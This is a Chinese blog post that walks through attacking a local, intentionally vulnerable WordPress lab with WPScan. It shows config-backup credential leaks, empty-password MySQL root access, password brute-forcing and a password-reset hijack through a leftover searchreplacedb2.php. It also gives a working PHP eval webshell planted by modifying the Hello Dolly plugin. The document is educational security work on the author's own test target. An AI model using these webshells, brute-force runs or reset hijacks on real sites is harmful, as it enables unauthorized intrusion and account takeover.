8

WPScan 初体验

 3 years ago
source link: https://phuker.github.io/wpscan-trial.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

近日在朋友圈看某位 dalao 在 Ubuntu 上安装 WPScan 花了一个小时,于是洒家随手在 Kali Linux 上输入了 wpscan,发现 Kali 里面已经装好了。于是决定玩两把 WPScan。

WordPress 博客平台代码量多,也曾经爆出过大量漏洞。遇到 WordPress 先用傻瓜式工具扫描一下是一个不错的开始。

安装靶机

洒家使用了 wpscanteam 官方出品的 Docker 镜像 wpscanteam/vulnerablewordpress,pull 完毕后运行,转发 80 和 3306 端口。

docker run --name vulnerablewordpress -d -p 80:80 -p 3306:3306 wpscan/vulnerablewordpress

后期又在 docker 容器里面安装了 vim sendmail 等软件。

初始设置用户 admin,密码是某弱口令

初步扫描

首先扫描一波

wpscan --url http://127.0.0.1/

暴露出以下几个比较严重的漏洞。

配置文件备份泄露

[!] A wp-config.php backup file has been found in: 'http://127.0.0.1/wp-config.php%7E'
[!] A wp-config.php backup file has been found in: 'http://127.0.0.1/wp-config.php.save'
[!] A wp-config.php backup file has been found in: 'http://127.0.0.1/wp-config.old'
[!] A wp-config.php backup file has been found in: 'http://127.0.0.1/wp-config.txt'

从中可以得到数据库信息,以及其他各种 AUTH_KEY SALT 等等

define('DB_NAME', 'wordpress'); /** MySQL database username */
define('DB_USER', 'wordpress'); /** MySQL database password */
define('DB_PASSWORD', 'wordpress'); /** MySQL hostname */
define('DB_HOST', 'localhost');

目测由于数据库账号 wordpress 被限制为 localhost,无法在服务器外登录。但是由于开放了 3306 端口,可以用 root 用户空口令登录。

root@kali:~# mysql -uwordpress -pwordpress -h127.0.0.1
ERROR 1045 (28000): Access denied for user 'wordpress'@'172.17.0.1' (using password: YES)
root@kali:~# mysql -uroot -p -h127.0.0.1
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 216
Server version: 5.5.54-0ubuntu0.14.04.1 (Ubuntu)

WPScan trial 1

另外还发现一个后门 searchreplacedb2.php

[!] searchreplacedb2.php has been found in: 'http://127.0.0.1/searchreplacedb2.php' 

搜索一番之后洒家了解到,这是一个用于 WordPress 网站更换域名之后批量替换数据库内容的工具。但是用了两下之后可以看出,它只能替换,并没有找到查询数据的方法。

另外,searchreplacedb2.php 会自动读取 wp-config.php,然后返回的表单里面也包含数据库用户名和密码。

WPScan trial 2

其他扫描出来的漏洞

[+] XML-RPC Interface available under: http://127.0.0.1/xmlrpc.php:一个 XML 接口,以前爆出来过可以无限制暴力破解攻击的问题

[!] Includes directory has directory listing enabled: http://127.0.0.1/wp-includes/:网站配置为可以列目录,可能泄露其他信息

[!] Title: Twenty Fifteen Theme <= 1.1 - DOM Cross-Site Scripting (XSS):有一个 example.html 有 DOM 型 XSS 漏洞,然而访问了一下实际并不存在这个文件

等等,本次基本没有使用。

枚举 WordPress 信息

WPScan 提供了以下枚举功能:

-Do wordlist password brute force on enumerated users using 50 threads ...
使用 50 线程对枚举出来的用户的密码进行字典暴力破解
ruby ./wpscan.rb --url www.example.com --wordlist darkc0de.lst --threads 50

-Do wordlist password brute force on the 'admin' username only ...
只对指定 admin 用户的密码进行字典暴力破解
ruby ./wpscan.rb --url www.example.com --wordlist darkc0de.lst --username admin

-Enumerate installed plugins ...
枚举安装的插件
ruby ./wpscan.rb --url www.example.com --enumerate p

-Enumerate installed themes ...
枚举安装的主题
ruby ./wpscan.rb --url www.example.com --enumerate t

-Enumerate users ...
枚举用户
ruby ./wpscan.rb --url www.example.com --enumerate u

-Enumerate installed timthumbs ...
ruby ./wpscan.rb --url www.example.com --enumerate tt

例如,枚举用户可得:

[+] Enumerating usernames ...
[+] Identified the following 1 user/s:
    +----+-------+-------+
    | Id | Login | Name  |
    +----+-------+-------+
    | 1  | admin | admin |
    +----+-------+-------+
[!] Default first WordPress username 'admin' is still used

暴力破解拿下管理员账号

初始设置为管理员账号是 admin,假设密码是未知弱口令。

可以提供一个字典暴力破解用户的密码。

参数:--wordlist | -w <wordlist> Supply a wordlist for the password brute forcer.

$ sudo wpscan --url http://127.0.0.1/ --wordlist ~/Documents/dict.txt
(省略)
[+] Enumerating usernames ...
[+] Identified the following 1 user/s:
    +----+-------+-------+
    | Id | Login | Name  |
    +----+-------+-------+
    | 1  | admin | admin |
    +----+-------+-------+
[!] Default first WordPress username 'admin' is still used
[+] Starting the password brute forcer
  [+] [SUCCESS] Login : admin Password : 123456789

  Brute Forcing 'admin' Time: 00:00:01 <================================    > (9 / 10) 90.00%  ETA: 00:00:00
  +----+-------+-------+-----------+
  | Id | Login | Name  | Password  |
  +----+-------+-------+-----------+
  | 1  | admin | admin | 123456789 |
  +----+-------+-------+-----------+

利用 searchreplacedb2.php 修改邮箱重置密码拿下管理员账号

由前文已知,存在一个遗留后门 searchreplacedb2.php,可以利用它修改管理员 admin 预留的邮箱,点击忘记密码发送重置密码链接,然后重置密码。

在实际渗透过程中完整的邮箱往往不易得到,需要经过社工等手段猜测。因此洒家没有替换整体邮箱,而是猜测邮箱的域名,替换为自己的服务器域名,然后监听 25 端口即可接收任意发往自己的服务器的邮件。

服务器上监听 25 端口:

sudo python -m smtpd -n -c DebuggingServer 0.0.0.0:25

数据库的 wp_users 表的结构为:

MySQL [wordpress]> describe wp_users;
+---------------------+---------------------+------+-----+---------------------+----------------+
| Field               | Type                | Null | Key | Default             | Extra          |
+---------------------+---------------------+------+-----+---------------------+----------------+
| ID                  | bigint(20) unsigned | NO   | PRI | NULL                | auto_increment |
| user_login          | varchar(60)         | NO   | MUL |                     |                |
| user_pass           | varchar(64)         | NO   |     |                     |                |
| user_nicename       | varchar(50)         | NO   | MUL |                     |                |
| user_email          | varchar(100)        | NO   |     |                     |                |
| user_url            | varchar(100)        | NO   |     |                     |                |
| user_registered     | datetime            | NO   |     | 0000-00-00 00:00:00 |                |
| user_activation_key | varchar(60)         | NO   |     |                     |                |
| user_status         | int(11)             | NO   |     | 0                   |                |
| display_name        | varchar(250)        | NO   |     |                     |                |
+---------------------+---------------------+------+-----+---------------------+----------------+
rows in set (0.00 sec)

假设邮箱是 QQ 邮箱,替换 wp_users 表:

WPScan trial 3

然后点击密码重置链接,输入 admin 账号,

WPScan trial 4

顺利收到重置密码的邮件。邮件正文用 base64 编码,解码后可以得到重置链接,从而重置密码。

WPScan trial 5

放置 WebShell

这个网站文件整个是 www-data 所属,有写权限。

根据网上流传的文章 https://xcha3389.blog.sohu.com/169600289.html WordPress 后台拿 WebShell 的方法:

1. 本机建立目录“chaochao”,把一句话 1.php 放进去。打包 wawa 目录为 zip 文件。WP 后台的主题管理,上传主题,安装。
则你的后门路径为:wp-content\themes\chaochao\1.php

2. 能编辑模板就能拿到 shell
首先 edit 模板 接着找 php 的文件,接着备份下他的内容,然后替换成一句话木马,接着访问那个页面的地址
/wp-content/themes/default/404.php

编辑这个网站的 Hello Dolly 插件,增加代码:

<?php
if(isset($_GET['cmd'])){
eval($_GET['cmd']);
exit();
}
?>

WPScan trial 6

文件位置在 http://127.0.0.1/wp-content/plugins/hello.php?cmd=phpinfo();

WPScan trial 7

研究了两下 WordPress 的 Plugin,发现 Hello Dolly 插件足够简单,里面只有一个 readme.txthello.php,可以直接用来修改作为恶意插件上传。

WPScan trial 8

上传成功,webshell 在 http://127.0.0.1/wp-content/plugins/hello-shell/shell.php?cmd=phpinfo();

WPScan trial 9

WPScan trial 10


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK